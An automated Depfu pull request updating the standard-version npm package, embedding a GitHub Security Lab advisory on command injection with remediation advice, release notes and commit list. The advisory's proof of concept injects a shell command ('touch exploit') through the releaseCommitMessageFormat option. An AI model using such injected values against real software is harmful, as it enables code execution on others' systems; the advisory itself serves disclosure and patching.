🚨 [security] [js] Update standard-version: 8.0.0 → 8.0.1 (patch)

[depfu]

---

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

---

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ standard-version (8.0.0 → 8.0.1) · Repo · Changelog

Security Advisories 🚨

🚨 Command Injection in standard-version

GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2020-111

The GitHub Security Lab team has identified a potential security vulnerability in standard-version.

Summary

The standardVersion function has a command injection vulnerability. Clients of the standard-version library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

Product

Standard Version

Tested Version

Commit 2f04ac8

Details

Issue 1: Command injection in standardVersion

The following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in:

npm install standard-version
git init
echo "foo" > foo.txt # the git repo has to be non-empty
git add foo.txt
git commit -am "initial commit"

Now create a file with the following contents:

var fs = require("fs");
// setting up a bit of environment
fs.writeFileSync("package.json", '{"name": "foo", "version": "1.0.0"}');
const standardVersion = require('standard-version')
standardVersion({

noVerify: true,

infile: 'foo.txt',

releaseCommitMessageFormat: "bla touch exploit"

})

and run it:

node test.js

Notice that a file named exploit has been created.

This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples:
CVE-2020-7646,
CVE-2020-7614,
CVE-2020-7597,
CVE-2019-10778,
CVE-2019-10776,
CVE-2018-16462,
CVE-2018-16461,
CVE-2018-16460,
CVE-2018-13797,
CVE-2018-3786,
CVE-2018-3772,
CVE-2018-3746,
CVE-2017-16100,
CVE-2017-16042.

We have written a CodeQL query, which automatically detects this vulnerability. You can see the results of the query on the standard-version project here.

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

Remediation

We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile instead of child_process.exec.

Credit

This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).

Contact

You can contact the GHSL team at [email protected], please include GHSL-2020-111 in any communication regarding this issue.

Disclosure Policy

This report is subject to our coordinated disclosure policy.

Release Notes

8.0.1

Bug Fixes

• deps: update dependency conventional-changelog to v3.1.21 (#586) (fd456c9)
• deps: update dependency conventional-changelog-conventionalcommits to v4.3.0 (#587) (b3b5eed)
• deps: update dependency conventional-recommended-bump to v6.0.9 (#588) (d4d2ac2)
• deps: update dependency git-semver-tags to v4 (#589) (a0f0e81)
• Vulnerability Report GHSL-2020-11101 (9d978ac)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 16 commits:

• chore: release 8.0.1 (#611)
• chore: Adds basic issue templates (#613)
• fix: Vulnerability Report GHSL-2020-11101
• chore: stop pinning deps (#615)
• test(windows): skip mock-git tests for Windows (#616)
• Merge pull request from GHSA-7xcx-6wjh-7xp2
• fix(deps): update dependency git-semver-tags to v4 (#589)
• fix(deps): update dependency conventional-changelog to v3.1.21 (#586)
• fix(deps): update dependency conventional-changelog-conventionalcommits to v4.3.0 (#587)
• fix(deps): update dependency conventional-recommended-bump to v6.0.9 (#588)
• chore(deps): update dependency coveralls to v3.1.0 (#565)
• chore(deps): update dependency eslint-config-standard to v14.1.1 (#567)
• chore(deps): update dependency eslint to v6.8.0 (#514)
• chore(deps): update dependency shelljs to v0.8.4 (#580)
• chore(deps): update dependency mocha to v7.2.0 (#594)
• chore(deps): update dependency mocha to v7.1.2 (#554)

---

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)

[codeclimate]

Code Climate has analyzed commit c307838 and detected 0 issues on this pull request.

View more on Code Climate.